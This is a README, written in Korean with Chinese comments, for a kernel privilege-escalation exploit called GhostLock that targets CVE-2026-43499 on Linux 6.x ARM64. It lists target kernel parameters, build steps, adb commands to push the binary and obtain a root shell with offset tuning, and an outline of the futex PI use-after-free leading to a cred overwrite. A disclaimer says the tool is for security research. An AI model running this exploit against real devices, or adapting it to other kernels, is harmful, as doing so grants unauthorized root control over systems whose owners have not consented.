GhostLock Custom — CVE-2026-43499 적용판
Android가 아닌 Linux 6.x ARM64 커널을 대상으로 하는 GhostLock (CVE-2026-43499) 권한 상승 익스플로잇입니다.
커널 특징
| 항목 | 값 |
|---|
| 아키텍처 | ARM64 (AArch64) |
| VA_BITS | 39 |
| KIMAGE_TEXT_BASE | 0xffffffc008000000 |
| 커널 버전 | 6.x |
| SELinux | 없음 |
| ashmem | 없음 |
| configfs | 없음 |
컴파일
로컬 컴파일 (크로스 컴파일러 필요)
Android NDK 컴파일
make android-arm64 NDK=/path/to/android-ndk
GitHub Actions (클라우드 컴파일)
푸시 후 자동으로 컴파일이 트리거되며, artifact를 다운로드하면 됩니다.
사용 방법
# 推送到目标设备
adb push ghostlock-arm64 /data/local/tmp/e
adb shell chmod 755 /data/local/tmp/e
# 获取 root shell
adb shell /data/local/tmp/e --shell
# 调整 pselect 偏移 (如果默认值不工作)
adb shell PSELECT_SHIFT=-4 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=-2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=0 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=4 /data/local/tmp/e --shell
# 指定物理加载地址
adb shell KPHYS=0x80000000 /data/local/tmp/e --shell
환경 변수
권한 상승 원리
- futex PI 경쟁:
FUTEX_CMP_REQUEUE_PI가 remove_waiter()의 UAF를 트리거합니다
- pselect 스택 오버라이드: 해제된
rt_mutex_waiter가 stack_fds 버퍼에 위치합니다
- PI 트리 쓰기: 조작된 fake waiter를 통해 임의 커널 주소 쓰기를 수행합니다
- cred 덮어쓰기:
task_struct->cred를 init_cred로 덮어씁니다
적용 참고
이 버전은 ghostlock-oneplus 를 기반으로 간소화되었습니다:
- SELinux 비활성화 코드 제거 (이 커널에는 SELinux 없음)
- ashmem/configfs 관련 코드 제거 (이 커널에는 이러한 구성 요소가 없음)
- KernelSU 설치 코드 제거
- SLIDE KASLR 누출 제거 (loggers/nfulnl_logger 없음)
- Android 전용 코드 제거 (miniADB 등)
문제 해결
면책 조항
이 도구는 보안 연구 목적으로만 사용됩니다. 사용자는 모든 책임을 스스로 부담해야 합니다.